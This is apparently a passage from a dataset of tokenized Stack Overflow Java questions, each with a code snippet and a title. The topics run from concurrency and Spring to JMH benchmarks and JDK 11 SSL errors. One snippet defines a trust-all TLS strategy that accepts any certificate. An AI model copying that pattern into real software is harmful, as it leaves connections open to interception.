( ) { int c = snext ( ) ; while ( isSpaceChar ( c ) ) { c = snext ( ) ; } int sgn = 1 ; if ( c == '- ' ) { sgn = -1 ; c = snext ( ) ; } long res = 0 ; do { if ( c < ' 0 ' || c > ' 9 ' ) throw new InputMismatchException ( ) ; res *= 10 ; res += c - ' 0 ' ; c = snext ( ) ; } while ( ! isSpaceChar ( c ) ) ; return res * sgn ; } public int [ ] nextIntArray ( int n ) { int a [ ] = new int [ n ] ; for ( int i = 0 ; i < n ; i++ ) { a [ i ] = nextInt ( ) ; } return a ; } public String readString ( ) { int c = snext ( ) ; while ( isSpaceChar ( c ) ) { c = snext ( ) ; } StringBuilder res = new StringBuilder ( ) ; do { res.appendCodePoint ( c ) ; c = snext ( ) ; } while ( ! isSpaceChar ( c ) ) ; return res.toString ( ) ; } public String nextLine ( ) { int c = snext ( ) ; while ( isSpaceChar ( c ) ) c = snext ( ) ; StringBuilder res = new StringBuilder ( ) ; do { res.appendCodePoint ( c ) ; c = snext ( ) ; } while ( ! isEndOfLine ( c ) ) ; return res.toString ( ) ; } public double nextDouble ( ) { return ( Double.parseDouble ( readString ( ) ) ) ; } public boolean isSpaceChar ( int c ) { if ( filter ! = null ) return filter.isSpaceChar ( c ) ; return c == ' ' || c == '\n ' || c == '\r ' || c == '\t ' || c == -1 ; } private boolean isEndOfLine ( int c ) { return c == '\n ' || c == '\r ' || c == -1 ; } public interface SpaceCharFilter { public boolean isSpaceChar ( int ch ) ; } } }",How to resolve error : 15 : error : can not infer type arguments for PriorityQueue < > in openjdk 1.7.0_95 ? +Java,"Consider , the case of Merge Sort on an int Array containing n elements , we need an additional array of size n in order to perform merges.We discard the additional array in the end though.So the space complexity of Merge Sort comes out to be O ( n ) .But if you look at the recursive mergeSort procedure , on every recursive call mergeSort ( something ) one stack frame is added to the stack.And it does take some space , right ? My Questions is : Why do n't we take the size of stack frames into consideration whilecalculating Merge Sort complexity ? Is it because the stack contains only a few integer variables andone reference , which do n't take much memory ? What if my recursive function creates a new local array ( lets say int a [ ] =new int [ n ] ; ) .Then will it be considered in calculating Space complexity ?","public static void mergeSort ( int [ ] a , int low , int high ) { if ( low < high ) { int mid= ( low+high ) /2 ; mergeSort ( a , low , mid ) ; mergeSort ( a , mid+1 , high ) ; merge ( a , mid , low , high ) ; } }",Why do n't we consider stack frame sizes while calculation Space Complexity of recursive procedures ? +Java,I am reading this book called `` Java Concurrency in Practice '' and the author gives an example of an unsafe object publication . Here is the example.andSo does this mean that other thread has access to an object when it is not even fully constructed ? I guess that when a thread A calls holder.initialize ( ) ; and thread B calls holder.assertSanity ( ) ; the condition n ! = n will not be met if thread A has not yet executed this.n = n ; Does this also mean that if I have a simpler code like,public Holder holder ; public void initialize ( ) { holder = new Holder ( 42 ) ; } public class Holder { private int n ; public Holder ( int n ) { this.n = n ; } public void assertSanity ( ) { if ( n ! = n ) throw new AssertionError ( `` This statement is false . `` ) ; } } int n ; System.out.println ( n == n ) ; //false ?,Java Object Construction In Multi-Threaded Environment +Java,"So I have a question regarding printing arrays . These methods receive data from an array created from a file . The output should be 10 integers long in every row for as many integers are contained in the file . Let 's say that the file contains { 0 , 1 , 2 , 3 , 4 , 5 } , the output should be : The first method works completely fine . The second method returns an error which I 'll include down below . Can anyone help me figure out what 's wrong ? I 've tried googling it but still do n't understand . Here 's the code : Here 's the error : Thanks for any help ! Hopefully it 's only a simple problem.Edit : This is in java btw .","0 1 2 3 4 5 public static void printArray ( int [ ] array ) { System.out.println ( `` Printing array : `` ) ; for ( int i = 1 ; i < array.length+1 ; i++ ) { System.out.printf ( `` % 7d '' , array [ i-1 ] ) ; if ( i % 10==0 ) { System.out.println ( ) ; } } System.out.println ( ) ; } public static void reverseArray ( int [ ] array ) { System.out.println ( `` Printing reversed array : `` ) ; int a=0 ; for ( int i = array.length ; i > -1 ; i -- ) { System.out.printf ( `` % 7d '' , array [ i ] ) ; a++ ; if ( a % 10==0 ) { System.out.println ( ) ; } } System.out.println ( ) ; } Exception in thread `` main '' java.lang.ArrayIndexOutOfBoundsException : 5 at Paniagua_ArrayProcessing.reverseArray ( Paniagua_ArrayProcessing.java:49 ) at Paniagua_ArrayProcessing.main ( Paniagua_ArrayProcessing.java:8 )",Printing Arrays/Reverse Array +Java,"I understand Spring DI and how it works in general.But what I can not understand here is in case of @ Bean method parameter injection , how spring knows about the parameter name so it could inject beans from its bean 's factory based on the parameter 's name ? For example , In the following example , the methods fernas1 and fernas2 parameters are being wiped at runtime . however , spring still can inject the correct Abbas bean instance into it.EDIT : The same problem and solution by @ Javier both works on method and constructor parameters .","@ SpringBootApplicationpublic class DemoApplication { @ Autowired private Abbas abbas1 ; // this is understandable , hence the field name is available at runtime @ Autowired private Abbas abbas2 ; // this is understandable , hence the field name is available at runtime public static void main ( String [ ] args ) { ConfigurableApplicationContext ctx = SpringApplication.run ( DemoApplication.class , args ) ; Map < String , Fernas > beansOfType = ctx.getBeansOfType ( Fernas.class ) ; System.out.println ( beansOfType ) ; Arrays.stream ( DemoApplication.class.getMethods ( ) ) .filter ( m - > m.getName ( ) .startsWith ( `` fernas '' ) ) .flatMap ( m - > Stream.of ( m.getParameters ( ) ) ) .map ( Parameter : :getName ) .forEach ( System.out : :println ) ; System.out.println ( ctx.getBean ( DemoApplication.class ) .abbas1 ) ; System.out.println ( ctx.getBean ( DemoApplication.class ) .abbas2 ) ; } class Abbas { String name ; @ Override public String toString ( ) { return name ; } } class Fernas { Abbas abbas ; @ Override public String toString ( ) { return abbas.toString ( ) ; } } @ Bean public Abbas abbas1 ( ) { Abbas abbas = new Abbas ( ) ; abbas.name = `` abbas1 '' ; return abbas ; } @ Bean public Abbas abbas2 ( ) { Abbas abbas = new Abbas ( ) ; abbas.name = `` abbas2 '' ; return abbas ; } // this is not understandable , hence the parameter name is NOT available at runtime @ Bean public Fernas fernas1 ( Abbas abbas1 ) { Fernas fernas1 = new Fernas ( ) ; fernas1.abbas = abbas1 ; return fernas1 ; } // this is not understandable , hence the parameter name is NOT available at runtime @ Bean public Fernas fernas2 ( Abbas abbas2 ) { Fernas fernas2 = new Fernas ( ) ; fernas2.abbas = abbas2 ; return fernas2 ; } }",How Dependency Injection by name works in Spring @ Bean method parameters +Java,"I was just learning about method refernce concept of java 8.What I found strange is the example where a method reference is assigned to the interface variable without implementing the interface , And calling abstract method of interface is calling the method referenced.Above code prints the message of saySomething method , I am trying to understand how the memory allocation for methods and objects is done here and how overall this works.Any help appreciated .","interface Sayable { void say ( ) ; } public class InstanceMethodReference { public void saySomething ( ) { System.out.println ( `` Hello , this is non-static method . `` ) ; } public static void main ( String [ ] args ) { InstanceMethodReference methodReference = new InstanceMethodReference ( ) ; Sayable sayable = methodReference : :saySomething ; sayable.say ( ) ; } }",Assigning object to interface variable without implementing interface +Java,"I need to start external executable in such way that user can interact with program that was just started.For example in OpenSuse Linux there is a package manager - Zypper . You can start zypper in command mode and give commands like install , update , remove , etc . to it.I would like to run it from Java code in a way user could interact with it : input commands and see output and errors of the program he started.Here is a Java code I tried to use : But unfortunately I can only see it 's output : but no matter what I write , my input does n't affect program that was started.How can I do what want to ?","public static void main ( String [ ] args ) throws IOException , InterruptedException { Process proc = java.lang.Runtime.getRuntime ( ) .exec ( `` zypper shell '' ) ; InputStream stderr = proc.getInputStream ( ) ; InputStreamReader isr = new InputStreamReader ( stderr ) ; BufferedReader br = new BufferedReader ( isr ) ; String line = null ; char ch ; while ( ( ch = ( char ) br.read ( ) ) ! = -1 ) System.out.print ( ch ) ; int exitVal = proc.waitFor ( ) ; System.out.println ( `` Process exitValue : `` + exitVal ) ; } zypper >",Start external executable from Java code with streams redirection +Java,"( Note : I came across this somewhat accidentally , so it may not be practical , but I am just very curious ) I wanted to print out a value , which was the sum of two values , after incrementing the second . Something like so : Maybe not the neatest code , but it worked . But then , I started experimenting . That 's fine ; it means that the first was incremented after being added , and that whitespace can be ignored here . Cool . But then ... WhileWorks fine , but for some reason , is still different thanAnd maybe the strangest of all , So what 's going on here ? When is whitespace between operators ignored , and when is it not ? Why can I write `` + + + + + '' , without any issues ? Thanks !","int first = 10 ; int second = 20 ; System.out.println ( first + ++second ) ; //31System.out.println ( first ) ; //10System.out.println ( second ) ; //21 System.out.println ( first +++ second ) ; //30System.out.println ( first ) ; //11System.out.println ( second ) ; //21 System.out.println ( first +++++ second ) ; // '' Invalid Argument '' , does n't work System.out.println ( first ++ + ++ second ) ; //31System.out.println ( first ) ; //11System.out.println ( second ) ; //21 System.out.println ( first + + + ++ second ) ; //31System.out.println ( first ) ; //10System.out.println ( second ) ; //21 System.out.println ( first + + + + + + second ) ; //30System.out.println ( first ) ; //10System.out.println ( second ) ; //20",Java Multiple Consecutive Operators +Java,"I 'm using JGit for one of my project that involves intesive use of git.My aim is to use a RevWalk to be able to iterate over the commits in a repository in a chronological order , starting at a specifc commit . I 've managed to achieve both of them separetely : Chronological order by applying a RevSort.REVERSEStarting point by calling RevWalk.markStart ( RevCommit c ) My problem is that when I try to combine the two , it seems that the RevSort overrides the markStart , and the RevWalk always ends up starting at the beginning of the commits instea of the commit that I 've specifiied.This snippet shows what I 've got : This should prints the ID of the repository in reverse order starting at the commit specified , but it just ignore the second setting and starts from the initial commit.UPDATE : I 've investigated more in the problem and it turns out that when applying the two options together ( in any order ) , the markStart becomes a markStop . I think that this is caused by markStart being always executed first and limiting the range of the commits ( with a filter ) , and then having those reversed by the RevSort . Basically , the RevWalk is iterating on the complementary set of commits that I 'm interested in.Should I assume that what I 'm trying to do is not obtainable in this way ? I could n't think of another way to get it without traversing the whole repository up to my starting point , but that sounds highly inefficient.UPDATE 2 : To give a proper example here is what I was expecting to achieve.Assume that we have a repository containing 4 commits : A , B , C and D.I 'm interested only in the comments from B to the current revision , excluding A , in a chronological order . I was hoping to be able to use markStart and sort to achieve that in the following way : Now , from what I 've seen , this does n't work because markStart is always executed before the sort , so the actual behaviour satisfies the following test : That is the opposite of what I 'm trying to obtain.Is this an intented behaviour and , if so , in what other way could I approach the problem ?","import org.eclipse.jgit.lib.Repository ; import org.eclipse.jgit.internal.storage.file.FileRepository ; import org.eclipse.jgit.revwalk.RevWalk ; import org.eclipse.jgit.revwalk.RevCommit ; import org.eclipse.jgit.revwalk.RevSort ; import java.io.IOException ; import org.eclipse.jgit.errors.AmbiguousObjectException ; import org.eclipse.jgit.errors.MissingObjectException ; public class Main { public static void main ( String [ ] args ) throws IOException , AmbiguousObjectException , MissingObjectException { final String repositoryPath = args [ 0 ] ; final String commitID = args [ 1 ] ; final Repository repository = new FileRepository ( repositoryPath + `` /.git '' ) ; final RevWalk walk = new RevWalk ( repository ) ; walk.sort ( RevSort.REVERSE ) ; walk.markStart ( walk.parseCommit ( repository.resolve ( commitID ) ) ) ; for ( final RevCommit revCommit : walk ) { System.err.println ( revCommit.getId ( ) ) ; } } } @ Testpublic void testReverse2 ( ) throws Exception { final RevCommit commitA = this.git.commit ( ) .setMessage ( `` Commit A '' ) .call ( ) ; final RevCommit commitB = this.git.commit ( ) .setMessage ( `` Commit B '' ) .call ( ) ; final RevCommit commitC = this.git.commit ( ) .setMessage ( `` Commit C '' ) .call ( ) ; final RevCommit commitD = this.git.commit ( ) .setMessage ( `` Commit D '' ) .call ( ) ; final RevWalk revWalk = new RevWalk ( this.git.getRepository ( ) ) ; revWalk.markStart ( revWalk.parseCommit ( commitB ) ) ; revWalk.sort ( RevSort.REVERSE ) ; assertEquals ( commitB , revWalk.next ( ) ) ; assertEquals ( commitC , revWalk.next ( ) ) ; assertEquals ( commitD , revWalk.next ( ) ) ; assertNull ( revWalk.next ( ) ) ; revWalk.close ( ) ; } assertEquals ( commitA , revWalk.next ( ) ) ; assertEquals ( commitB , revWalk.next ( ) ) ; assertNull ( revWalk.next ( ) ) ;",JGit : RevWalk order overriding starting point +Java,"When loading in a new FXML and setting the center of a BorderPane there is a brief 'freeze ' of the application where existing animation , whether from a Timeline , or from a gif in an image view , will stop . I 'm using this code to change the centerView : And while this does the job in keeping the UI responsive in the load time , when the center stage displays for the first time there is a noticable lag . Looking at a CPU profile : I 'm not sure if the delay is from the initialize function running , or the loading of the elements . Here 's a gif of the program , you can see the visible delay : By loading it up in VLC and progresing frame-by-frame the delay looks to be 5 or 6 frames in a 30 fps video , meaning about a 200ms delay which implies the animation freezes for more than the 50ms or so initialize method . ( Maybe the entire load method freezes the animation ? ) The question is , is it possible to keep the animation smooth during this ? //********* EDIT **********//So I went through the project and cut out as many methods and classes as possible , reducing the entire game to 6 minimal classes . I STILL have the delay in pressing the character button ( 'you ' button ) . With such a minimal example I 'm lost to what could be wrong . I 've uploaded this to google drive for anyone to take a look . https : //drive.google.com/open ? id=17A-PB2517bPJc8Dek-yp2wGXsjTyTj1d","@ FXML public void handleChangeView ( ActionEvent event ) { Task < Parent > loadTask = new Task < > ( ) { @ Override public Parent call ( ) throws IOException { String changeButtonID = ( ( ToggleButton ) event.getSource ( ) ) .getId ( ) ; Parent newOne = getFxmls ( ) .get ( changeButtonID ) ; if ( newOne == null ) { FXMLLoader loader = new FXMLLoader ( getClass ( ) .getResource ( `` /view/ '' + changeButtonID + `` .fxml '' ) ) ; newOne = loader.load ( ) ; getFxmls ( ) .put ( changeButtonID , newOne ) ; } return newOne ; } } ; loadTask.setOnSucceeded ( e - > { getMainUI ( ) .setCenter ( loadTask.getValue ( ) ) ; } ) ; loadTask.setOnFailed ( e - > loadTask.getException ( ) .printStackTrace ( ) ) ; Thread thread = new Thread ( loadTask ) ; thread.start ( ) ; }",Avoiding short stutter in animation when loading in/displaying FXML +Java,"So I have a list of objects which I want part or whole to be processed , and I would want to log those objects that were processed.consider a fictional example : Would using .peek ( ) in this instance be regarded as unintended use of the API ? To further explain , in this question the key takeaway is : `` Do n't use the API in an unintended way , even if it accomplishes your immediate goal . '' My question is whether or not every use of peek , short from debugging your stream until you have verified the whole chain works as designed and removed the .peek ( ) again , is unintended use . So if using it as a means to log every object actually processed by the stream is considered unintended use .","List < ClassInSchool > classes ; classes.stream ( ) .filter ( verifyClassInSixthGrade ( ) ) .filter ( classHasNoClassRoom ( ) ) .peek ( classInSchool - > log.debug ( `` Processing classroom { } in sixth grade without classroom . `` , classInSchool ) .forEach ( findMatchingClassRoomIfAvailable ( ) ) ;","In java streams using .peek ( ) is regarded as to be used for debugging purposes only , would logging be considered as debugging ?" +Java,"I 've just started learning object oriented programming from the book head first java.It said that polymorphism enables me to create an array of the superclass type and then have all the subclasses as the array elements.But when I tried writing code using the same principles it ran into error sayingerror : can not find symbolI made the classes the superclass was animal and the dog class extended the animal class having a fetch method of its own , but when I referenced the dog variable as animal it did not work here is the codeThe Animal ClassThe dog ClassThe Tester Class } The error",public class animal { String family ; String name ; public void eat ( ) { System.out.println ( `` Ghap Ghap '' ) ; } public void roam ( ) { System.out.println ( `` paw paw '' ) ; } } public class dog extends animal { public void fetch ( ) { System.out.println ( `` Auoooooooo '' ) ; } } public class tester { public static void main ( String args [ ] ) { animal doggie = new dog ( ) ; doggie.fetch ( ) ; doggie.eat ( ) ; doggie.roam ( ) ; } tester.java:4 : error : can not find symboldoggie.fetch ( ) ; ^symbol : method fetch ( ) location : variable doggie of type animal1 error,Polymorphism in Java error : can not find Symbol +Java,"But as we very well know , these streams are connected to the console by default and already open . There are also methods in the System class setIn ( ) , setOut , and setErr ( ) to redirect the streams . How is any of this possible when they have been declared final and set to the initialization value null ? I compiled the following code , set a breakpoint at the call to println ( ) and debugged using netbeans . My objective was to determine exactly when the variable System.in is initialized to the standard output by stepping into the source . But it seems that the output stream out is already initialized by the time the main method is called .",public final static InputStream in = null ; public final static PrintStream out = null ; public final static PrintStream err = null ; public static void main ( String [ ] args ) { System.out.println ( `` foo '' ) ; },"In the System.java source , the standard input , output and error streams are declared final and initialized null ?" +Java,"When I set the month on a date representing 1/1/1970 , and then immediately get the month back , it 's off by one.If I change this linetothen the test passes . Anyone know why ? EditThe printed version of the dates are : I 'm running an old JDK : 1.6.0_30-b12 ( 64 bit ) I 'm in Eastern Standard Time .","import java.util.Date ; @ Testpublic void monthShouldBeExpectedValue ( ) { Calendar calendar = Calendar.getInstance ( ) ; calendar.setTime ( new Date ( 0 ) ) ; int expectedMonth = Calendar.JUNE ; calendar.set ( Calendar.MONTH , expectedMonth ) ; int actualMonth = calendar.get ( Calendar.MONTH ) ; assertThat ( actualMonth , equalTo ( expectedMonth ) ) ; // test fails : expected 5 got 6 } calendar.setTime ( new Date ( 0 ) ) ; calendar.setTime ( new Date ( ) ) ; // use 'today ' instead of 1/1/1970 new Date ( 0 ) : Wed Dec 31 19:00:00 EST 1969date from calendar : Tue Jul 01 19:00:00 EDT 1969",Month off by one ( not due to it being 0-based ) +Java,"EDIT : it seems to be a problem related to Android Pie ( api 28 ) . Seems to work on previous versions ( tested on 27 , 26 , 25 ) . I 'm working at this Android code for a very long time , and I noticed that lately when I 'm saving data on the disk , I receive this error : This is how I write data to diskthis.datastore is a complex object composed of multiple other object ( a very large number ) .This is how I read data back when neededImagine to have a fresh install of the app . The first time LoadDataFromDisk does nothing . Later in time the app writes something on the disk . When the app call LoadDataFromDisk again , it reads correctly . Then , for example , the app is relaunched : when LoadDataFromDisk is reached , and specificallyI receive the error above , and falls back to a new DataStore object , in order to keep the app working.Why not always ? The data seems corrupted after has been read.I can reproduce on AVD and on my phone.Any help appreciated","java.lang.NullPointerException : Attempt to invoke virtual method 'int java.math.RoundingMode.ordinal ( ) ' on a null object reference private void SaveDataToDisk ( ) { try { FileOutputStream fos = this.weakActivity.get ( ) .openFileOutput ( this.FILENAME , Context.MODE_PRIVATE ) ; if ( fos ! = null ) { ObjectOutputStream os = new ObjectOutputStream ( fos ) ; os.writeObject ( this.datastore ) ; os.close ( ) ; fos.close ( ) ; } } catch ( Exception ex ) { ErrorManager.TrapThrow ( ex , this.weakActivity.get ( ) ) ; } } private void LoadDataFromDisk ( ) { try { if ( this.weakActivity.get ( ) .getFileStreamPath ( this.FILENAME ) .exists ( ) ) { FileInputStream fis = this.weakActivity.get ( ) .openFileInput ( this.FILENAME ) ; BufferedInputStream bis = new BufferedInputStream ( fis ) ; ObjectInputStream is = new ObjectInputStream ( bis ) ; try { this.datastore = ( DataStore ) is.readObject ( ) ; } catch ( Exception ex ) { this.datastore = new DataStore ( ) ; } is.close ( ) ; fis.close ( ) ; } } catch ( Exception ex ) { ErrorManager.TrapThrow ( ex , this.weakActivity.get ( ) ) ; } } this.datastore = ( DataStore ) is.readObject ( ) ;",ObjectInputStream readObject causes RoundingMode.ordinal NullPointerException +Java,"I 'm playing around with JMH ( http : //openjdk.java.net/projects/code-tools/jmh/ ) and I just stumbled on a strange result.I 'm benchmarking ways to make a shallow copy of an array and I can observe the expected results ( that looping through the array is a bad idea and that there is no significant difference between # clone ( ) , System # arraycopy ( ) and Arrays # copyOf ( ) , performance-wise ) .Except that System # arraycopy ( ) is one-quarter slower when the array 's length is hard-coded ... Wait , what ? How can this be slower ? Does anyone has an idea of what could be the cause ? The results ( throughput ) : And the benchmark class :","# JMH 1.11 ( released 17 days ago ) # VM version : JDK 1.8.0_05 , VM 25.5-b02 # VM invoker : /Library/Java/JavaVirtualMachines/jdk1.8.0_05.jdk/Contents/Home/jre/bin/java # VM options : -Dfile.encoding=UTF-8 -Duser.country=FR -Duser.language=fr -Duser.variant # Warmup : 20 iterations , 1 s each # Measurement : 20 iterations , 1 s each # Timeout : 10 min per iteration # Threads : 1 thread , will synchronize iterations # Benchmark mode : Throughput , ops/timeBenchmark Mode Cnt Score Error UnitsArrayCopyBenchmark.ArraysCopyOf thrpt 20 67100500,319 ± 455252,537 ops/sArrayCopyBenchmark.ArraysCopyOf_Class thrpt 20 65246374,290 ± 976481,330 ops/sArrayCopyBenchmark.ArraysCopyOf_Class_ConstantSize thrpt 20 65068143,162 ± 1597390,531 ops/sArrayCopyBenchmark.ArraysCopyOf_ConstantSize thrpt 20 64463603,462 ± 953946,811 ops/sArrayCopyBenchmark.Clone thrpt 20 64837239,393 ± 834353,404 ops/sArrayCopyBenchmark.Loop thrpt 20 21070422,097 ± 112595,764 ops/sArrayCopyBenchmark.Loop_ConstantSize thrpt 20 24458867,274 ± 181486,291 ops/sArrayCopyBenchmark.SystemArrayCopy thrpt 20 66688368,490 ± 582416,954 ops/sArrayCopyBenchmark.SystemArrayCopy_ConstantSize thrpt 20 48992312,357 ± 298807,039 ops/s import java.util.Arrays ; import java.util.concurrent.TimeUnit ; import org.openjdk.jmh.annotations.Benchmark ; import org.openjdk.jmh.annotations.BenchmarkMode ; import org.openjdk.jmh.annotations.Mode ; import org.openjdk.jmh.annotations.OutputTimeUnit ; import org.openjdk.jmh.annotations.Scope ; import org.openjdk.jmh.annotations.Setup ; import org.openjdk.jmh.annotations.State ; @ State ( Scope.Benchmark ) @ BenchmarkMode ( Mode.Throughput ) @ OutputTimeUnit ( TimeUnit.SECONDS ) public class ArrayCopyBenchmark { private static final int LENGTH = 32 ; private Object [ ] array ; @ Setup public void before ( ) { array = new Object [ LENGTH ] ; for ( int i = 0 ; i < LENGTH ; i++ ) { array [ i ] = new Object ( ) ; } } @ Benchmark public Object [ ] Clone ( ) { Object [ ] src = this.array ; return src.clone ( ) ; } @ Benchmark public Object [ ] ArraysCopyOf ( ) { Object [ ] src = this.array ; return Arrays.copyOf ( src , src.length ) ; } @ Benchmark public Object [ ] ArraysCopyOf_ConstantSize ( ) { Object [ ] src = this.array ; return Arrays.copyOf ( src , LENGTH ) ; } @ Benchmark public Object [ ] ArraysCopyOf_Class ( ) { Object [ ] src = this.array ; return Arrays.copyOf ( src , src.length , Object [ ] .class ) ; } @ Benchmark public Object [ ] ArraysCopyOf_Class_ConstantSize ( ) { Object [ ] src = this.array ; return Arrays.copyOf ( src , LENGTH , Object [ ] .class ) ; } @ Benchmark public Object [ ] SystemArrayCopy ( ) { Object [ ] src = this.array ; int length = src.length ; Object [ ] array = new Object [ length ] ; System.arraycopy ( src , 0 , array , 0 , length ) ; return array ; } @ Benchmark public Object [ ] SystemArrayCopy_ConstantSize ( ) { Object [ ] src = this.array ; Object [ ] array = new Object [ LENGTH ] ; System.arraycopy ( src , 0 , array , 0 , LENGTH ) ; return array ; } @ Benchmark public Object [ ] Loop ( ) { Object [ ] src = this.array ; int length = src.length ; Object [ ] array = new Object [ length ] ; for ( int i = 0 ; i < length ; i++ ) { array [ i ] = src [ i ] ; } return array ; } @ Benchmark public Object [ ] Loop_ConstantSize ( ) { Object [ ] src = this.array ; Object [ ] array = new Object [ LENGTH ] ; for ( int i = 0 ; i < LENGTH ; i++ ) { array [ i ] = src [ i ] ; } return array ; } }",System.arraycopy with constant length +Java,"By referring to http : //www.javamex.com/tutorials/synchronization_volatile.shtml , I am not sure whether I need to use volatile keyword in the following case , due to additional rule 3.A primitive static variable will be write by Thread A.The same primitive static variable will be read by Thread B.Thread B will only run , after Thread A is `` dead '' . ( `` dead '' means , the last statement of Thread A 's void run is finished ) Will the new value written by Thread A , will always committed to main memory , after it `` dead '' ? If yes , does it mean I need not volatile keyword if the above 3 conditions are meet ? I am doubt that volatile is being required in this case . As it is required , then ArrayList may broken . As one thread may perform insert and update size member variable . Later , another thread ( not-concurrently ) may read the ArrayList 's size . If you look at ArrayList source code , size is not being declared as volatile.In JavaDoc of ArrayList , then only mention that ArrayList is not safe to be used for multiple threads access an ArrayList instance concurrently , but not for multiple threads access an ArrayList instance at different timing.Let me use the following code to issulate this problem","public static void main ( String [ ] args ) throws InterruptedException { // Create and start the thread final ArrayList < String > list = new ArrayList < String > ( ) ; Thread writeThread = new Thread ( new Runnable ( ) { public void run ( ) { list.add ( `` hello '' ) ; } } ) ; writeThread.join ( ) ; Thread readThread = new Thread ( new Runnable ( ) { public void run ( ) { // Does it guarantee that list.size will always return 1 , as this list // is manipulated by different thread ? // Take note that , within implementation of ArrayList , member // variable size is not marked as volatile . assert ( 1 == list.size ( ) ) ; } } ) ; readThread.join ( ) ; }","Do I need to use volatile , if 2 different write and read thread will never alive at the same time" +Java,"I 'm trying to move my code from Java 8 to Java 11 , this code ... } is failing here using ( AdoptOpenJdk ) Java 11.0.6 on MacOS , It runs without problem on Windows ( also using AdoptOpenJdk Java 11.0.6 ) . One difference is the Windows version uses a cutdown jre built from the jdk with jlink , whereas the MacOS version uses the AdoptOpenJDk jre build . The MacOS build is created using InfiniteKinds fork of AppBundlerThis is the stacktrace : I 'm using Apache Httpclient 4.5.3 and am using this lib because I am getting data from a webservice that requires the use of ssl.UpdateI added Example test to my source code from the answer below , and modified my build to make this the start class when the application is run and it gives me this stacktrace ( when bundle is run from command line with open using the java runtime embedded in the bundle by infinitekind appbundler ) which is difference to one I had before , but maybe this is the underlying cause or is this misleading ? Whereas if I just run java -jar songkong6.9.jar it runs Example and prints out Loaded with no error , If I specify the full path from /Library/Java it also works in all cases ( Java 11/Java 14/JDk and JRE ) UpdateBased on the answer below I have made some progress.The JRE installed on MacOS contains a conf folder , when the JRE is added to my bundle ( SongKong ) using InfiniteKinds appbundler it does not have a conf folder . It doe have a lib/security folder containing a default.policy but this doesnt seem to be enough . After installing the built bundle if I manually copy the conf folder from the installed JRE to the Home folder of the java plugine.g/Applications/SongKong.app/Contents/PlugIns/adoptopenjdk-11.jre/Contents/Homelocation then both the Example code and my original code work without error when ran from bundle.Furthermore what it seems to be looking for is the unlimited folder and its contents ( the two files are actually the same ) , so if I delete a few files so I am left with then it continues to work.Problem ( aside from why it doesnt work out of the box ) is I assume I can not copy files into this location for a hardened runtime app so I need to store these policy files somewhere else so they can be installed as part of the appbundler build . So as a test I have renamed conf folder conf.old folder and added following parameter to the bundleor to replace rather than append policy fileBut it does n't work , I have tried various values but nothing works . The only thing that works is leaving it in conf subfolder and then it does n't matter if I pass this parameter or not . ( I also tried adding -Dsecurity.manager as another option but that just caused a new error about permissions from logging . )","private static String readMultiHttpsUrlResultAsString ( List < String > mbRecordingIds , String level ) throws Exception { String result = `` '' ; class NaiveTrustStrategy implements TrustStrategy { @ Override public boolean isTrusted ( X509Certificate [ ] chain , String authType ) throws CertificateException { return true ; } } ; SSLContext sslcontext = org.apache.http.ssl.SSLContexts.custom ( ) .loadTrustMaterial ( new NaiveTrustStrategy ( ) ) .build ( ) ; CloseableHttpClient httpclient = HttpClients.custom ( ) .setSSLSocketFactory ( new SSLConnectionSocketFactory ( sslcontext ) ) .build ( ) ; StringBuilder sb = new StringBuilder ( `` ? recording_ids= '' ) ; for ( String next : mbRecordingIds ) { sb.append ( next + `` ; '' ) ; } sb.setLength ( sb.length ( ) - 1 ) ; try { String url = `` https : //acousticbrainz.org/api/v1 '' +level+sb ; HttpGet httpget = new HttpGet ( url ) ; try ( CloseableHttpResponse response = httpclient.execute ( httpget ) ; ) { int statusCode = response.getStatusLine ( ) .getStatusCode ( ) ; if ( statusCode ! =HttpURLConnection.HTTP_OK ) { return `` '' ; } HttpEntity entity = response.getEntity ( ) ; result = EntityUtils.toString ( entity ) ; EntityUtils.consume ( entity ) ; } } finally { httpclient.close ( ) ; } return result ; } SSLContext sslcontext = org.apache.http.ssl.SSLContexts.custom ( ) .loadTrustMaterial ( new NaiveTrustStrategy ( ) ) .build ( ) ; java.lang.NoClassDefFoundError : Could not initialize class sun.security.ssl.SSLContextImpl $ TLSContext at java.base/java.lang.Class.forName0 ( Native Method ) at java.base/java.lang.Class.forName ( Class.java:315 ) at java.base/java.security.Provider $ Service.getImplClass ( Provider.java:1848 ) at java.base/java.security.Provider $ Service.newInstance ( Provider.java:1824 ) at java.base/sun.security.jca.GetInstance.getInstance ( GetInstance.java:236 ) at java.base/sun.security.jca.GetInstance.getInstance ( GetInstance.java:164 ) at java.base/javax.net.ssl.SSLContext.getInstance ( SSLContext.java:168 ) at org.apache.http.ssl.SSLContextBuilder.build ( SSLContextBuilder.java:269 ) at com.jthink.songkong.analyse.acousticbrainz.AcousticBrainz.readMultiHttpsUrlResultAsString ( AcousticBrainz.java:409 ) at com.jthink.songkong.analyse.acousticbrainz.AcousticBrainz.readLowLevelData ( AcousticBrainz.java:373 ) Exception in thread `` main '' java.lang.ExceptionInInitializerError at java.base/javax.crypto.Cipher.getInstance ( Unknown Source ) at java.base/sun.security.ssl.JsseJce.getCipher ( Unknown Source ) at java.base/sun.security.ssl.SSLCipher.isTransformationAvailable ( Unknown Source ) at java.base/sun.security.ssl.SSLCipher. < init > ( Unknown Source ) at java.base/sun.security.ssl.SSLCipher. < clinit > ( Unknown Source ) at java.base/sun.security.ssl.CipherSuite. < clinit > ( Unknown Source ) at java.base/sun.security.ssl.SSLContextImpl.getApplicableSupportedCipherSuites ( Unknown Source ) at java.base/sun.security.ssl.SSLContextImpl $ AbstractTLSContext. < clinit > ( Unknown Source ) at java.base/java.lang.Class.forName0 ( Native Method ) at java.base/java.lang.Class.forName ( Unknown Source ) at java.base/java.security.Provider $ Service.getImplClass ( Unknown Source ) at java.base/java.security.Provider $ Service.newInstance ( Unknown Source ) at java.base/sun.security.jca.GetInstance.getInstance ( Unknown Source ) at java.base/sun.security.jca.GetInstance.getInstance ( Unknown Source ) at java.base/javax.net.ssl.SSLContext.getInstance ( Unknown Source ) at org.apache.http.ssl.SSLContextBuilder.build ( SSLContextBuilder.java:389 ) at Example.main ( Example.java:23 ) Caused by : java.lang.SecurityException : Can not initialize cryptographic mechanism at java.base/javax.crypto.JceSecurity. < clinit > ( Unknown Source ) ... 17 moreCaused by : java.lang.SecurityException : Ca n't read cryptographic policy directory : unlimited at java.base/javax.crypto.JceSecurity.setupJurisdictionPolicies ( Unknown Source ) at java.base/javax.crypto.JceSecurity $ 1.run ( Unknown Source ) at java.base/javax.crypto.JceSecurity $ 1.run ( Unknown Source ) at java.base/java.security.AccessController.doPrivileged ( Native Method ) ... 18 more 